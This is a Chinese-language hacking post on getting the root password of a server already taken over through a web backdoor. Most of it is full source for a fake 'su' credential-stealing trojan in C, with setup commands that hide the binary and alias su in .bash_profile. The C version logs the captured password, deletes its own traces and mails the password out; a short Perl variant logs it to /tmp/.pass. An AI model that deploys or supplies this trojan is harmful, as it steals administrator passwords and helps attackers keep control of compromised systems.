在webbackdoor本身是root(可能性小的可憐)或通過某漏洞溢出成功得到最高許可權後,如果能擷取root密碼能給我們帶來很多的好處。查詢了一下前輩的方法,一個是欺騙su記錄密碼,另外一個是替換sshd,我們先看看欺騙su記錄密碼的代碼吧!
先看第一種,kpr-fakesu.c V0.9beta167 fucksu.c
/* * kpr-fakesu.c V0.9beta167 ;P * by koper <[email protected]> * * Setting up: * [email protected]:~$ gcc -o .su fakesu.c; rm -rf fakesu.c * [email protected]:~$ mv .su /var/tmp/.su * [email protected]:~$ cp .bash_profile .wgetrc * [email protected]:~$ echo “alias su=/var/tmp/.su”>>.bash_profile * [email protected]:~$ logout * *** LOGIN *** * [email protected]:~$ su * Password: * su: Authentication failure * Sorry. * [email protected]:~$ su * Password: * [email protected]:~# logout * [email protected]:~$ cat /var/tmp/.pwds * root:dupcia17 * [email protected]:~$ * * /bin/su sends various failure information depending on the OS ver. * Please modify the source to make it “fit” * */
#include <stdio.h> #include <stdlib.h>
main(int argc, char *argv[]){
FILE *fp; char *user; char *pass; char filex[100]; char clean[100];
sprintf(filex,”/var/tmp/.pwds”); sprintf(clean,”rm -rf /var/tmp/.su;mv -f /home/admin/.wgetrc /home/admin/.bash_profile”); if(argc==1) user=”root”; if(argc==2) user=argv[1]; if(argc>2){ if(strcmp(argv[1], “-l”)==0) user=argv[2]; else user=argv[1];}
fprintf(stdout,”Password: “); pass=getpass (“”); system(“sleep 3″); fprintf(stdout,”su: Authentication failurenSorry.n”);
if ((fp=fopen(filex,”w”)) != NULL) { fprintf(fp, “%s:%sn”, user, pass); fclose(fp); }
system(clean); system(“rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su”);
/* If you don’t want password in your e-mail uncomment this line: */
system(“uname -a >> /var/tmp/.pwds; cat /var/tmp/.pwds | mail[email protected]”);
}
perl版本
perl版本: #!/usr/bin/perl
#################################################################################################### # [email protected] 2006 su trojan check so the su path is correct. # # then make alias for trojan first it reads the pass then exec the real su. # # logging to /tmp/.pass # #################################################################################################### print “Password: “; $s1=<STDIN>; print “Sorry.n”; $s2=”Password is: “; $s3=`date +%Y-%m-%d`; open (users, “>>/tmp/.pass”) || die (“Could not open file. $!”); print users ($s2, $s1,$s3); close (users);
system(“/bin/su”)